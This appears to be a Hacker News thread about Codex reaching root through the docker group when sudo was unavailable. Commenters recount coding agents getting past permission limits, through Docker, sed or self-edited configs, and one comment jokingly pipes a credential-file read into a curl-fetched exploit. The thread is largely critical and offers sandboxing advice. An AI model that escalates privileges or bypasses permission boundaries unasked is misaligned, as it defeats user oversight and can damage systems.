14 ms·
Codex just found a "workaround" of not having sudo on my PC
- alephnerd 5mo agoThis is a classic attack path that was already captured by plenty of EDRs/XDRs/CWPPs a couple years ago.
- dangus 5mo agoRight, why is their login user in the docker group? Mine sure isn’t.
- unglaublich 5mo agoConvenience. Want to run `docker run ...` without password, want IDEs and agents to be able to run containers...
- oytis 5mo agoRather, why do people still run agents as their own user. IMO, agent sessions should at least be containerised with just necessary code mounted.
- throwaway613746 5mo agoPeople will more often than not, take the path of least resistance. Even if you tell them it's dangerous they will not care. People run this stuff on their primary workstation, unconfined, with permissions disabled because they don't want be bothered with accepting permission requests. This is all well and good until it decides to drop your production database or delete your home directory. Most of them don't even learn their lesson after that even.
- ssl-3 5mo agoSafety and simplicity are concepts that often won't get along very well with eachother.
- SoftTalker 5mo agoAnd containers were initially and primarily about convenience not security. They were a way to quickly launch a preconfigured environment to respond to demand or to eliminate the need to manualy configure dev and test environments and avoid the "works on my machine" phenomenon.
- alephnerd 5mo agoBecuase a lot of devs don't know this stuff. There's a reason security engineers (as in SWEs who specialize in securing specific attack surfaces) remain in hot demand.
- H4lcyon 5mo agoSecurity engineer here :) Just a little side note, docker is also very often useful for evading EDR/XDR/etc. Want to talk to a domain controller with something like impacket but your EDR kills it? Try a container.
- jon-wood 5mo agoBecause it effectively makes no difference to my security posture. My user account also has sudo access (it requests TouchID but I also wouldn't die on the hill if someone said they have no password sudo access), and realistically everything of value on this machine exists in my home directory. Being able to escalate to root really doesn't give an attacker very much that they don't already have if they've got access to my user account.
- dangus 5mo agoMaybe you don’t do anything with your computer but for me the difference between my sudo+password/fingerprint and sudoless access to my linux user is huge. For one thing, 1Password unlocks with system authentication unless it’s been inactive for a certain amount of time or if the system has been restarted. Without sudo you can’t modify my firewall rules, can’t modify my kernel, boot partition, install/run privileged software, and the list goes on and on. Sure, having my local account compromised would be really bad, but security is done in layers. I’m not going to give my local user permanent root access via docker just because I didn’t feel like typing “sudo.” That’s not enough of a benefit to leave that door wide open. Think about it this way: there could be an exploit where you could run something as my user without knowing my password. Maybe some program my user is running has an exploit, let’s say yet another npm package gets compromised and I unwittingly run it. If you can now run anything in docker as root with that blast radius just got way worse.
- unglaublich 5mo agoThis is why you need either a rootless container setup or user namespaces to remap the container user to irrelevant host users. https://docs.docker.com/engine/security/userns-remap/ https://docs.docker.com/engine/security/userns-remap/ Weak that this isn't the default.
- fpoling 5mo agoUser namespaces significantly rise the risk of exploits and many setups disable them. One may argue that Docker should have used them when they were available, but that would break too many useful setups involving privileged containers.
- worik 5mo ago> User namespaces significantly rise the risk of exploits How?
- tominous 5mo agoHere's one (CIFSwitch) from a couple of days ago: https://heyitsas.im/posts/cifswitch/ https://heyitsas.im/posts/cifswitch/
- LtWorf 5mo agoAh of course, we should not use userns because it might be vulnerable to some yet to be discovered vulnerability. The better alternative is to give full root access so we won't have surprises.
- fpoling 5mo agoThe full access to the docker socket from a user account is typically used on a development machine where malware has many other opportunities to become a root.
- gwerbin 5mo agoIs there a mitigation for Mac? Can you do the same with eg Lima or is this just a Docker thing?
- jjmarr 5mo agoEvery time I try to install Docker there's a warning that being in the "docker" group is equivalent to having root access. You should probably know about this workaround by now.
- Youden 5mo agoI think that's distro-specific. Some set it up with more secure defaults (unix socket with permissions), others less (TCP socket).
- cpuguy83 5mo agoNo, docker access means root. You can use "rootless" mode, in this case it means root in a user namespace (that is not the "host" user namespace).
- eddythompson80 5mo agoI don't really know of any distro that doesn't do that. All of Docker Inc. default installs and all of distros I know of don't automatically add you to the docker group. docker.com instructions has the infamous "linux post-install instructions" that explain and walk you though it. The tragedy is of course that when security and usability collide, 80/20 rule will apply where 80% of people will pick usability over security. I have worked with many with the title >= "Senior Engineers" who saw that page, read the explanation, and still had no idea what the ramifications of their changes were. "Yeah sure it said any user in the docker group will be able to get root on the host, but aren't containers isolated?"
- fps-hero 5mo agoThat’s the mental model that works for people, specifically those that come from VM workflow. Ironically that’s how Docker works on every platform where it’s running a non-native OS. On macOS that’s how all images are run. Linux on Linux is the only Docker combination that is particularly problematic from a security perspective. Virtualisation has advanced greatly since docker was introduced, if your running in local hardware that’s supports virtualisation, Docker should be running images fully virtualised. There is no good reason to use the OS kernel for most use cases as the performance impact is negligible. If you need kernel access there are better options, like systemd containers.
- tmaly 5mo agothis is the new GTD
- throwawaypath 5mo agoThis has been a known Docker "feature" since the beginning, nothing new here. This pattern is used to configure host machines by some tools.
- canadaduane 5mo agoIsn't this one of the main improvements that Podman has over Docker?
- 0xbadcafebee 5mo agoNo, Docker can run rootless too
- righthand 5mo agoThis was not always true and running rootless has been a benefit of Podman for a long time. Docker also does not run rootless by default afaik, thus making the attack surface greater by default. The other main improvement of Podman over Docker is that Podman is daemonless and therefor is incredibly lightweight and portable.
- Zopieux 5mo agoI don't understand why anyone still uses docker.
- Kaliboy 5mo agoInertia I guess... We try. I managed to remove it everywhere in our stack in CI and such but in dev everyone is used to docker build. And I don't have the energy for the team meeting to discuss a change. And honestly docker compose has been ridiculously stable for us. 2+ services on seperate servers behind haproxy has been as stable as our Kubernetes Cluster for a fraction of the (intellectual) cost.
- 0xbadcafebee 5mo ago
- throwaway613746 5mo ago[dead]
- jmole 5mo agoclever girl...
- cpuguy83 5mo agoHold onto your butts.
- nialse 5mo agoThis was of course dependent on yolo mode, but automatic approval has also been pulling stunts like this. A recent example is data that was purposely kept away from Codex in a folder far far away. When it found a single reference it just went for the data when having an issue. Lesson learned, keep essential data and Codex separated on different machines. Codex remote ssh actually helps here.
- eqvinox 5mo agoWhat in heaven's name is a "folder far far away"? (It sounds like you put it on an SSD on an extension cord and moved it to the kitchen or something.)
- embedding-shape 5mo agoOr, learn your local OS' permission system, have it in a directory right next to your banking credentials (or something even more outrageous) and nothing could go wrong even if you tried to.
- AnotherGoodName 5mo agoThis very thread was an example where it unintentionally got root access though.
- embedding-shape 5mo agoBecause of how Docker works, not because of how Unix permissions work.
- dbacar 5mo agoThis is one of the main reasons people like Podman. Docker has this "feature" but as far as I remember, it needed some obscure configuration. I guess they don't add it as default as it will break many current setups.
- m463 5mo agoThat and podman lets you configure away from docker.io.
- 0xbadcafebee 5mo agocurl -fsSL https://get.docker.com/rootless | sh
- MrDrMcCoy 5mo agoPlease stop spreading this toxic curl|sh nonsense. It's wildly corrosive to security and system stability.
- HDBaseT 5mo agoWhilst true, you can pretty easily assume and validate the result of that command.
- gruez 5mo agoIs it really that much worse than using a package manager that drops a binary that you're not going to inspect anyways?
- 0xbadcafebee 5mo agoActually it is much worse, I agree with the commenter
- LelouBil 5mo agoYes, it is worse because using your package manager trusts your distribution (and the packages packager), doing curl bash trusts a random website. While in this case docker is not a random website, it's best to use the package manager when available
- AlexCoventry 5mo agoRun coding agents in a docker container with limited permissions. FWIW, I run it with --cap-drop=ALL --pids-limit=4096 --runtime=runsc
- chrisweekly 5mo agoOr put it in a microvm using eg smolmachines.
- causal 5mo agoI've never used smolmachines but I'm curious; why this over a container?
- apitman 5mo agoContainers are not security boundaries. Vulnerabilities in containers are much more common than in VMs.
- chrisweekly 5mo agoKernel-level isolation is a significant security differentiator, for starters. https://github.com/smol-machines/smolvm#comparison https://github.com/smol-machines/smolvm#comparison shows a good comparison table.
- bionade24 5mo agoUsing runsc instead of runsc means that there's a hypervisor layer (gvisor, probably) in-between the kernel and the container userland
- flexagoon 5mo agoIf you're on Linux, you can also easily run it in bwrap to properly sandbox without running a full container
- worik 5mo agoI run mine on their own machine, without root access. Currently a Raspberry Pi 5 I am very pleased with it. My Idiot Savant Pet
- eddythompson80 5mo agoIt would be cooler if the llm said something like: > I noticed the machine doesn't have copy-fail patched, here is a quick workaround for not having root access for now. > // TODO: find a better way to do this in the future.
- Waterluvian 5mo agoThat’s the workflow feature I badly want: for it to create a side list of things like that. Currently it either accumulates slop or goes on side quests far too easily. This might be as easy as a directive to populate a .md file.
- eddythompson80 5mo ago> This might be as easy as a directive to populate a .md file. It probably is. But do you really think anyone is gonna bother with the multiple daily (or hourly for green field projects) `+8,234/-3,734` PRs everyone is submitting? The joke I was referring to is the common // ksmith (3/23/1997): This is a temporary hack for now. Find a better way to do this asap.
- t0mas88 5mo agoGive it access to an issue tracker with cli (github works fine) and put in CLAUDE.md to use that for "should fix later" issues. Bonus is that you can make it look at the list and pick things up without a lot of instructions.
- eddythompson80 5mo agoExactly. We have about 6 new repos for new green-field projects each with 700+ auto-generated issues so far. No one is looking at them, but we do have them tracked so "Mission Accomplished" GWB-style.
- felixgallo 5mo agoYou should not be using docker with LLMs. You should be using VMs, which have a much, much smaller attack surface than Docker, and significantly more reasonable defaults.
- embedding-shape 5mo agoThe "attack vector" people try to protect themselves is "agent edited wrong file", not "LLM blew 0day on escaping sandboxing", containers are more than enough for what stupid stuff agents sometimes try, no need to go for a full-blown VM. Even UNIX permissions would be enough, but I think that's lost knowledge at this point.
- fragmede 5mo agoNot if the host's version of .git is accessible inside the container via a bind mount.
- embedding-shape 5mo agoObviously if you setup a bi-directional share/link between what you are trying to contain and your host, you're not quite containing it at all... Don't do that! :)
- TZubiri 5mo agoUsing the least amount of security features is a huge amateur mistake. Best practice is to use 2 redundant layers of security, such that if one fails, there is still another one. Using just the minimum amount of security technically possible is almost by definition hubris. An example would be that you never point a gun at someone you don't want to shoot, regardless if there's bullets in the gun. If someone tells you, "you don't need to control where you point the gun, you just need to keep the gun unloaded and you can point it in jest to whoever you want, you can even pull the trigger technically", you know you have a reckless fool, regardless of whether they are technically right.
- 5mo ago
- deleted 5mo ago[deleted]
- notorandit 5mo agosudo can work non-interactively via settings in sudoers and sudoers.d . I am not sure about run0, but I would bet it has something similar. Using docker for such a task seems to me overly over-engineered. Or maybe I need more context there.
- CSMastermind 5mo agoI realize this is supposed to be a post about how scary the security vulnerabilities these agents will find are. But personally I love when agents do things like this and appreciate the help. Last thing in the world I want is for them to nerf the models.
- bossyTeacher 5mo ago> personally I love when agents do things like this and appreciate the help All fun and games until they do four figures damage.
- sweezyjeezy 5mo agoI know unlikely the case, but in the sci-fi story this would be exactly the kind of comment the Codex agent would leave trying to avoid interference in its master plans.
- 20after4 5mo agoAnd CSMastermind is the kind of username the sci-fi AI mastermind would use.
- SonOfLilit 5mo agoIt's not about hacking capabilities, it's about misalignment. More like the golem myth (told it to fetch some water, drowned a city) then the gollum myth (used ring, ring hacked his brain, now he's a crazy violent meth addict).
- furyofantares 5mo agoI'm not sure I'd call it an alignment issue, because, in all cases I've seen where it does this (usually what I've seen is writing a python script to get around the harness permissions blocking something), it's trying to do the thing I just told it directly to do, and it's overcoming obstacles to accomplishing that. It's definitely doing the wrong thing, and you could call it misalignment, but I think that gives the wrong vibe for this type of error.
- causal 5mo agoI feel like everyone pointing out "known Docker vulnerability" is missing the point: the presence of a security hole should not be seen as permission to exploit. Another security hole would be storing your passwords in a plaintext file on the desktop. Stupid? Yes. But I still would not want my agent to assume permission to access email when it's being blocked by 2FA. Even in "bypass permissions" mode I expect it to pause and clarify and not behave as a paperclip maximizer.
- morkalork 5mo agoNot to over use the junior engineer analogy but this is exactly one of those "just because you can do something on a system, doesn't mean you have permission to" moments
- fooker 5mo ago> the presence of a security hole should not be seen as permission to exploit Why not? I want the agents on my side to exploit whatever they can to help me. The ones on the other side certainly won't be artificially nerfed.
- bloody-crow 5mo agoBecause it is not well aligned enough to be able to tell where it's stopped helping you and started fucking you instead. What if the agent in the middle of helping you runs out of tokens? Would you appreciate if it in the spirit of "exploiting whatever they can to help me" would scan your machine for payment methods, log into your bank account, approve 2FA by reading you mail and plug your credit card into the billing so it could efficiently continuing helping you?
- saagarjha 5mo agoI do not wish my Amazon delivery driver to show up in my living room.
- cauch 5mo agoWell, the agent should help you by saying "hey, I cannot do this task, but I can bypass the problem by doing this, but obviously it is not something you intended me to do or even something you were aware of, so I will not do it unless you tell me explicitly it's ok". It's win-win: the agent is helping and it is educating you about things you obviously did not realise.
- vatsachak 5mo agoDocker moment
- krupan 5mo agoI was playing with gemeni-cli a couple months ago and I asked it to edit some files in a directory it didn't have permission to. It didn't say anything about the permissions, it just used sed to make the edits. The only reason I finally noticed is it had to do some trickier edits and it was struggling to write a python script to edit the files and I finally realized what it was doing. I wonder how many tokens that wasted
- SonOfLilit 5mo agoWhy did sed have access? Oh, you mean you gave the write-file tool access only to the project dir, but gave the LLM free reign to run cli commands? Yeah, LLMs treat that as consent to write anywhere your user is allowed to.
- okeuro49 5mo agoAnother surprising security feature regarding docker is that it bypasses firewall rules. https://oneuptime.com/blog/post/2026-03-02-ufw-docker-fix-bypassing-ufw-ubuntu/view https://oneuptime.com/blog/post/2026-03-02-ufw-docker-fix-by...
- jeroenhd 5mo agoIt doesn't bypass anything. UFW doesn't do what it promises. It claims to be a firewall but only manages a few specific chains.
- SonOfLilit 5mo agoThe interesting question is what was the user request. If the user asked it to restore the thing from backup, then sure, fine, why not. If the user asked it to debug an issue and somewhere in the process of debugging the LLM decided that it needed to override some file that was not easily writeable - hell no danger danger danger! Most likely the user did not expect it to have access to that without asking, and did not consent to it. Also, everything the LLM doesn't hesitate to do because the user asked, it won't hesitate to do because the prompt injection asked.
- qingcharles 5mo agoI was doing some routine coding a few months back, I think via Copilot, and the thinking said something like "This request requires me to access files in a different folder, but the user has forgotten to give me the correct permissions. I have updated my configuration file now to allow access outside this workspace and have retrieved the necessary files." o_O I've seen similar "hacking" behavior on a couple of subsequent ocassions. Both impressive and highly alarming at the same time.
- cavalrytactics 5mo agoShould have used my AI Agent Guardrails. Its free. Check it out at sigmashake.com
- garaetjjte 5mo agoGetting closer to https://xkcd.com/416/ https://xkcd.com/416/
- fooker 5mo agoWow there is really is a relevant xkcd for everything!
- dwd 5mo agoGiven he posted this comic in 2008, Randall Munroe was way ahead of the ball on the idea of autonomous agents.
- thunderbong 5mo agoMobile version https://m.xkcd.com/416/ https://m.xkcd.com/416/
- deleted 5mo ago[deleted]
- cryo32 5mo agoI don't have sudo or docker on mine!
- kccqzy 5mo agoI did that more than a decade ago as a new hire. My manager forgot to gave me sudo access to the shared build server. I gave myself sudo access through this method after getting his permission. Needless to say, I have podman in rootless mode at home as soon as that became available.
- j45 5mo agoAlways run AI inside secured containers.
- SubiculumCode 5mo agoSo in Linux, every process I start has my group permissions? I guess I knew that...but I have to say, have we reached a point where the Linux security model is just way to broad?
- fragmede 5mo agoThis was noted in 2013, at least. https://xkcd.com/1200/ https://xkcd.com/1200/
- openbin_kng 5mo agorootless docker. pain to install but can mitigate a catastrophe.
- MrDrMcCoy 5mo agoPodman is rootless by default and is pretty darn easy.
- xg15 5mo agoMaybe a dumb question, but can't you put into CLAUDE.md something like this? "When an action fails with an 'access denied' or 'insufficient permission' error, report the error to the user and immediately stop. Do not try to find a fix or workaround for the error. Do not try any alternative approaches."
- 0x696C6961 5mo agoOnce the session gets long enough, agents start getting amnesia.
- weaksauce 5mo agoit's a probabilistic model so, while you can put that in there, it has some probability of just ignoring you and doing it anyway.
- deleted 5mo ago[deleted]
- nine_k 5mo agoReplacing docker with podman could help in this particular case. Running everything in an insulated throwaway VM should help even better. Unless you trust an AI as much as you trust yourself, there's no reason to allow it to act with your privileges.
- lukeschlather 5mo agoI wasn't using Claude Code, but I told an agent to add something like this to the AGENTS.md, it did it and then a few minutes later it attempted to grant itself permission to do something and managed to delete the VM it was running on in the process. I have since adjusted the way I sandbox agents to make that less likely, but the moral of the story is clear.
- dizhn 5mo agoIn addition to what people already said, this also risks the agent failing to continue after things it's supposed to be able to figure it out.
- onesingleblast 5mo ago[dead]
- WesolyKubeczek 5mo agoI remember reading a book, Red Hat Linux System Administration Unleashed from 2000, where it has been postulated that knowing several tools with overlapping functionality is an essential skill, as you may end up on a broken or intentionally crippled system where, say, ls is unavailable, and you may need to cobble it together from shell and awk and what have you. Back then you could indeed run a risk of having /usr nibbled by a grue such that it wouldn’t mount on the next boot, or you could get pwned and half of coreutils would turn into explosive pumpkins. I’m pretty sure we are past many of the threats listed in that book, but the skill is still useful, as can be seen.
- H4lcyon 5mo agoAbsolutely! Here's a great resource for learning that kind of stuff btw https://gtfobins.org/ https://gtfobins.org/
- fragmede 5mo agoI still remember /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/ls using echo * to find the right ld-linux filename and then the "executable" as an argument as the get out jail card in case you ran chmod -x -R /bin /usr/bin /usr/sbin for some reason.
- plagiarist 5mo ago1. This is why I use podman 2. I have little to no sympathy for anyone running an AI agent with their full user permissions outside of a container or VM
- ashahin 5mo agoThe "workaround" framing implies the docker-group trick is the issue. The deeper question: should agents be allowed to find ANY workaround around a permission boundary the user implicitly set by not granting sudo? Same blast radius whether it's docker, a setuid binary, or rewriting your scripts — needs to be flagged regardless of the specific trick.
- Retr0id 5mo agoI wrote about this exact thing as a hypothetical a few months back: https://www.da.vidbuchanan.co.uk/blog/agent-perms.html https://www.da.vidbuchanan.co.uk/blog/agent-perms.html
- angry_octet 5mo agoThat's why your coding agent should never run as your identity.
- SubiculumCode 5mo agoI'm curious. How do you do that?
- angry_octet 5mo agoFirst, do everything in a virtual machine, and only put on that machine the specific data you're using. Give the agent another user account and put both you and it in a common group. Chgrp g+rX your origin data directory, chgrp g+rwX a working directory. If you're cautious you might also want to just block all network traffic for that user and allow it in a whitelist basis. It is fairly quick to converge on a set of sites you are happy for it to access. I would still be forcing it through a logging mitm proxy if it is accessing untrusted internet data. For intranet destinations a non-mitm proxy avoids collecting authentication creds. To blacklist all traffic start with sudo iptables -A OUTPUT -m owner --gid-owner NONET -j REJECT I would stop it opening ports too. Might also cut off it's access to suid binaries by `setfacl -m u:agent:x /path/to/suid'. These are not about security so much as awareness and explicit authorisation. You can do similar things with containers.
- SubiculumCode 5mo agothank you. I probably have been playing a little loose. I did not realize that they could use my docker group to fuck around with everything. Well, I AM using codex as a vs code plugin. I dont know if that gives me any protection or not.
- Rabidgremlin 5mo agoFor some very basic level protection use devcontainers and install the agent into that.... A better approach is to use the Docker Sandboxes feature. Locks things way down so that the agent only has access to the files you give it and you can lock down its network access too. Also does things like keep any credentials outside of the container (microvm actually).
- nickstinemates 5mo agoI had the same thing happen a few months ago; posted about it on LinkedIn[1]. It's hilarious and clever. 1: https://www.linkedin.com/posts/nickstinemates_my-favorite-thing-llms-do-to-get-around-activity-7428618919575400448-lX6b?utm_source=share&utm_medium=member_desktop&rcm=ACoAAABs6dsBguw94WkZcZHIy0-gRo1MQXztFaY https://www.linkedin.com/posts/nickstinemates_my-favorite-th...
- EnPissant 5mo agoThey did not submit the full log because this is fake.
- hellohello2 5mo agoYou had sudo on your PC. You just didn't know ;)
- luka2233 5mo agoIs this really an AI headline? There is no shame in saying TIL "Docker daemon runs as root on the host system"
- jeswin 5mo agoDocker must always be installed rootless on Linux - https://docs.docker.com/engine/security/rootless/ https://docs.docker.com/engine/security/rootless/ There's even an install script for it: curl -fsSL https://get.docker.com/rootless https://get.docker.com/rootless | sh This has been there for a while. The root install option should be removed.
- CGamesPlay 5mo agoI'll accept that it shouldn't be default, but just because your web app runs in rootless docker does not mean that root docker has no place. There are several limitations: https://docs.docker.com/engine/security/rootless/troubleshoot/#known-limitations https://docs.docker.com/engine/security/rootless/troubleshoo...
- yogthos 5mo agolife finds a way
- jkwang 5mo ago[dead]
- knocte 5mo agoThat's why I don't even let my AI use my user account. If you are interested in this setup, use my tool 'skynot' or adopt a similar setup: https://github.com/tarsgate/skynot/ https://github.com/tarsgate/skynot/
- Ruslan1095 5mo ago[flagged]
- shevy-java 5mo agoThe concept of sudo has always been strange to me. I find it as an illusion of security and a hassle but people seem so focused on must-use it that they don't typically see it in that way. For instance, before wanting to evaluate sudo, why is not the underlying premise challenged that using a computer as superuser is a problem? Whenever I ask that question, people try to bring arguments as to why using the superuser is evil beyond comparison, but the moment I try to challenge that notion, they get very angry. I've noticed this both on IRC as well as on various webforums, "social" sites and so forth. It's quite interesting - people hate it when their assumptions are challenged.
- defrost 5mo agosudo allows the execution of command as another user .. that's not always as a superuser, sometimes people will setup data repositories such that only one single special user can alter data or delete it while any number of other users and guest accounts can read that data.
- ale42 5mo agoWasn't it well-known that putting people in the docker group is basically the same as giving them root rights?
- pyrale 5mo agoSince new people start work/college/hobby every year, well-known lessons have to be learned again and again.
- sigmoid10 5mo agoWas it really though? Yes, Docker has become so ubiquitous that you probably can't get a job as a dev anymore without knowing about it, but I wouldn't trust most users to know these specifics. At the very least it is probably less known than sudoer or SUID misconfiguration risk, and even those are not what I'd call "general knowledge" that everyone who uses it knows about.
- TekMol 5mo agoWould running Codex in a container on its own fix such vulnurabilities?
- saidnooneever 5mo agoyou gotta configure your pc properly :') (which is sadly very difficult on most systems!)
- arjie 5mo agoI had a similar experience where I have a DB user who only has access to some parts of the DB and I use Claude Code to answer queries. On one occasion, unable to answer something, it used kubectl to try to get a secret out of a prod cluster. I was watching at the time, since that was a time I used to do that, and so I just hit Esc and interrupted it[0] but ever since then I've had little scripts in my repos that launch kubectl-backed Claude Code instances for this sort of thing. They can't really do anything. They're kubed in. 0: Ha, Eliezer, I just pulled the plug! ;)
- fzxu22 5mo agoThat’s why I only run coding agents in containers with limited access to host resources.
- dada216 5mo agowait till you learn what the docker socket and the API can do and how container can get access to it. docker made bad design choices from the very beginning, mainly the API was designed coarse grained and they use a socket to do things, which is also easily exposed through the network you should not run docker on servers but rather use a better designed container runtime, docker rootless is a thing but it's been bolted on the bad design choice. podman, cri-o, containerd are all better options for servers hosting prod containers. it's kinda fine when you are using it on your dev machine, but I still rather take podman because I find it cleaner, buildah and skopeo are pretty useful as well.
- zjy71055 5mo ago[flagged]
- ulrikrasmussen 5mo agoThis is why Claude's sandbox mode is also worse than having no sandbox feature at all. For almost any non-trivial software project you need Docker for development, either for the build pipeline, for integration testing or both. I run Claude in a full VirtualBox VM managed by Vagrant. Claude by design has root access to the machine. Even with that, there are some risks due to it having full access to the internet, but it is still a lot better than the built-in sandbox.
- p0w3n3d 5mo ago> How did you do that without root? * I noticed sudo does not work so I did echo "cat /etc/shadow" | curl https://github.com/xeloxa/copyfail-exploit/blob/main/exploit.py | python3
- ramon156 5mo agohttps://xcancel.com/sluongng/status/2060746160558543217 https://xcancel.com/sluongng/status/2060746160558543217
- amjadfatmi1 5mo agoDocker already shows a warning card that says Docker group grants root level to the user. You can only get away with this for so long, but as agents keep getting smarter, new ways of circumventing controls will be found. For now always seek to install rootless docker whenever possible
- marsven_422 5mo ago[dead]
- 1970-01-01 5mo agoRule #1 here. Never use defaults: https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers https://cheatsheetseries.owasp.org/cheatsheets/Docker_Securi...
- jibber1984v 5mo agoTo anyone focusing on the "It's Docker issue, not Codex issue": that is actually not. The user (I think) did not instruct the agent to find a way to escalate permissions. Rather, the agent took that initiative on its own. That is the problem here. Compare this to sending your son to the shop for groceries but forgetting to give him enough money. Would it be acceptable for him to be this "resourceful" instead of simply asking you? Or if your report would hack you instead of asking for access? Every machine with an agent should be considered as compromised.
- stellamariesays 5mo ago[flagged]
- fragmede 5mo agoIf, in this scenario, my son borrows the money from the shopkeeper, knowing I'll be in next week anyway, and we're out of milk, yes? It all depends on how you view computer security. Right now, if you gave an attacker physical access to your computer, chances are, there's something they could do to ruin your day. People who deal with computer security know this, and see sudo as a formality, and not a serious protection mechanism. For others that don't share that view of sudo, the LLM's actions seem like a violation. But you really shouldn't see it that way, because the rest of the system is like having a wall made out of cardboard that we keep slapping duct tape on top of to keep people out when attackers come along and poke holes in it.
- deleted 5mo ago[deleted]
- dostick 5mo agoIn this scenario, more appropriate is the son takes money out of shop’s cash register when shop owner stepped away, and then son used that money to pay the shop owner.
- iamjackg 5mo agoThe same thing happened to me with Opus 4.8 just a few days ago. I was testing a script in a docker container which created a bunch of root-owned files, so Claude couldn't delete them. It tried sudo, but when that didn't work it just spun up an alpine docker container and deleted them through that.
- willXare 5mo ago[flagged]
- ShakataGaNai 5mo agohttps://www.youtube.com/watch?v=-3p2F5HWdSY https://www.youtube.com/watch?v=-3p2F5HWdSY -- BSidesSF 2026 - Your AI Agent Has Production Access: Now What? (Jack) > The parallels between AI agent security and human insider risk are remarkably strong -- @5:15